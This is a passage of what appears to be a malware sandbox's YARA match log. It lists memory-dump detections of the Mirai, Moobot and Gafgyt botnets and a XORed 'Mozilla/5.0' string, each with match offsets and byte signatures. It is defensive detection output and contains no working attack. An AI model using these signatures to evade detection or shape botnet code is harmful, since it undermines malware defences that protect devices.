2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6274.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7405.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6751.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6751.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6751.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6751.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6751.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6751.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6263.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6263.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6263.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6263.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6263.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6263.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6446.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7229.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7229.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7229.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7229.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7229.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7229.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7248.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7223.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6350.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6350.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6350.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6296.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6296.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6296.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6296.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6296.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6296.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6729.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6729.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6729.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6729.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6729.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6729.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
